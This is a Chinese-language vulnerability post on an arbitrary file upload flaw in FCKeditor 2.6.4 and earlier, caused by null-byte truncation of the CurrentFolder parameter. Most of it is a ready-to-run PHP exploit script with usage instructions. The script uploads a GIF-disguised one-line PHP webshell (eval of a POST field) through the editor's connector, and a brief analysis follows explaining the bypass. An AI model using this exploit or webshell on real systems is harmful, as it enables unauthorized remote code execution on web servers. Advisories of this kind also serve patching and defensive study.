fckeditor2.6.4 任意文件上传漏洞

 2017/12/10

简要描述

文件上传导致代码执行，fckeditor <= 2.6.4 任意文件上传漏洞, php coldfunsion应该KO了，asp表示很淡定，其他语言版本未测

详细说明

currentfolder过滤不给力，导致%00截断上传任意文件

漏洞证明

<?
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	print $resp;
	return $resp;
}
function connector_response($html)
{
	global $match;
	return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit by Wolegequ     |";
print "\n+------------------------------------------------------------------+\n";
if ($argv < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /\n";
	print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
	die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename  = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload  = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type:  image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";
//print $packet;
$packet	.= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

POC分析

我们看到这个请求主要是修改CurrentFolder为 fuck.php%00.gif ，通过%00截断上传，上传一个fuck.php文件。fuck.php文件里面写了一句话木马
'GIF89a'."\r\n".'<?php eval($_POST[a]) ?>'."\n";,GIF89a文件头只是为了绕过检测。

原文链接：fckeditor 2.6.4 任意文件上传漏洞

CATALOG

1. 简要描述
2. 详细说明
3. 漏洞证明
4. POC分析

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